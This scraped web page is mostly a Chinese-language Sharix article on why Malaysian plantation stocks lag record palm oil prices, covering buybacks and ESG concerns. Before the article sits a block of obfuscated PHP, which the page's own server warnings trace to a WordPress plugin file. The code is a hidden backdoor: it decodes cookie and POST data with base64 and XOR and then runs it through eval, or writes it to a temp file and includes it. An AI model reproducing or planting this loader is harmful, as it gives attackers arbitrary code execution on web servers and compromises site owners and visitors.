$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
种植股有心但无力 - Sharix

种植股有心但无力

今天笔者要和大家讨论种植股。选择讨论种植股的原因,主要是因为根据过去的走势棕油价格和种植股的走势理应会同步,但这次笔者发现棕油价格突破历史新高,种植公司的盈利也陆续爆发,但股价似乎跟不上,引起了笔者的关注。所以今天笔者就和大家探讨最近几家大型种植公司的盈利表现和他们近期的股票回购计划,及目前种植股面对的难题。

自新冠疫情爆发,原棕油价格从去年的三月触底反弹了52% 至目前最高约RM5,000的水平,迎来了前所未有的涨势。我们也能看到9月大马的棕油出口按月上涨37% 至159万吨。当中最主要的原因,就是原油价格大涨,导致市场对于生物燃料如豆油的需求大增,这也间接刺激市场对于棕油的需求。另外,印尼政府也在近期上调棕油出口税扶持当地的下游业务,导致棕油供应开始吃紧。目前,我国的棕油库存有175万吨,相比于8月的188万吨少了大约7%。

基于上述因素,大马的种植公司的营收和盈利双双都呈现高成长的趋势。笔者也整理了大马前十家最大的种植公司的基本数据供大家参考。从上图观察到这十家种植公司的营收和盈利分别平均成长43.6% 及245.3%,但是股价却平均涨了8.5%。当中IJMPLT因为收购案的关系今年涨幅就有76%,如果撇除IJMPLT,其他种植股的涨幅也只有0.9%,和棕油价格的走势出现明显的背离。

我们也可以发现随着种植公司的盈利不断改善,这些公司包括IOICORP, BKAWAN及KLK也都正在积极回购自家公司的股票。这里先简单解释股票回购。股票回购是指上市公司利用现金等方式,从股票市场上购回自家公司发行的的股票。而这些回购的股票将会作为库存股 (Treasury shares) 保留在公司的账目,不再属于发行在外的股票,且不参与每股收益的计算和分配。库存股日后的用途可以拿来派发红股和雇员福利计划等。

上图显示大马种植公司今年的股票回购计划。IOICORP在今年总共购买39.1 million自家股票,而公司自今年7月以来就购买了21.5 million的股票,平均价格为RM3.59至RM3.72。公司的库存股也从去年末的18.9 million增加至现在的58 million,库存股数量的涨幅高达207%。此外,BKAWAN也在今年回购了1.75 million自家股票,使得库存股从年初的3.15 million上升至至今的4.9 million。

笔者觉得种植公司选择回购自家公司的股票的原因在于,公司盈利持续不断进步导致公司的现金增加。在公司没有意愿去扩充产能和购买土地的环境下,使用手上的现金去回购股票是一个不错的选择。投资者也要意识到,股票回购能减少公司在市场上流通的股数,从而增加公司的每股净盈利,拉低公司的估值。

但是,在原棕油价格狂涨的同时,大马的种植公司的股价并没有受惠其中,这也让许多投资者摸不着头脑。笔者认为最主要的原因,是投资者越来越注重关于环境、社会与监管 (ESG) 的课题。之前的文章笔者有提到关于ESG如何影响公司的估值,相信大家也知道全球已经对于ESG的课题日渐重视。而大马的种植股的ESG形象在国际市场已经大打折扣,当中离不开长期的环境污染、剥削劳工、公司治理不当等。

瑞士信贷集团也指出,虽然ESG的课题会导致市场不愿意给予种植公司较高的估值,但是该机构认为大马种植公司的估值已经完全反映甚至是过于反映市场的ESG因素。目前,估计大马种植股的估值比顶峰的本益比低了50% 以上,遭到严重的低估。

但是,就如刚才所说的,目前围绕着大马种植公司的ESG课题始终阴魂不散,是股价下跌最致命的因素。说到环境污染,就不得不提到露天焚烧。当旱季来临时,印尼的种植园容易发生火灾。而数据显示大马的IOICORP在印尼的种植园也在去年遭遇69宗火患,KLK在印尼的种植区则面临22宗火患。另外,劳工权益的课题也发生在SIMEPLT及FGV,导致美国海关和边境保护局对这两家公司的产品祭出扣押令。

以目前的局势来看,ESG课题对于种植公司来说是长期的隐忧。虽然目前许多大型种植公司都在环境保护和劳工权益的问题都在着手处理,也配合相关单位的调查,但是在这些问题还未解决之前股价预计还会受到卖压。

笔者认为,在短期之内棕油价格会得到一定的支撑,主要动力来自中国、印度、欧盟和美国等地区的强劲需求。印度是我国棕油最大的进口国,占大马总出口的22%。在印度宣布降低蔬菜油进口税,加上屠妖节需求旺盛等因素,大马的棕油出口预计会保持增长。

就在昨天,印尼也宣布计划停止原棕油的出口,强调棕油必须以最终产品的形式出口至国外。这在短期内对于我国的棕油业者是利好,因为印尼所造成的缺口必须由大马种植业者所填补。此外,我国的种植行业目前正在面对严重的劳工短缺问题。尽管政府在近期已经允许种植业者聘请32,000名外劳,但也需要时间去完成,短期提升产量的压力依旧存在。

但投资者要注意的是,美国的大豆即将进入收成期。当市场的食用油供给增加,对于棕油的需求也会放缓。种植业本身就是波动较大的行业,和其他的周期领域如油气及钢铁般,受影响的因素也是公司所不能控制。虽然乍看之下种植股好像浮现投资机会,但部分的大型种植公司的股价已经从近期的低点反弹了不少,或许已经把这些利好反映在股价上。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台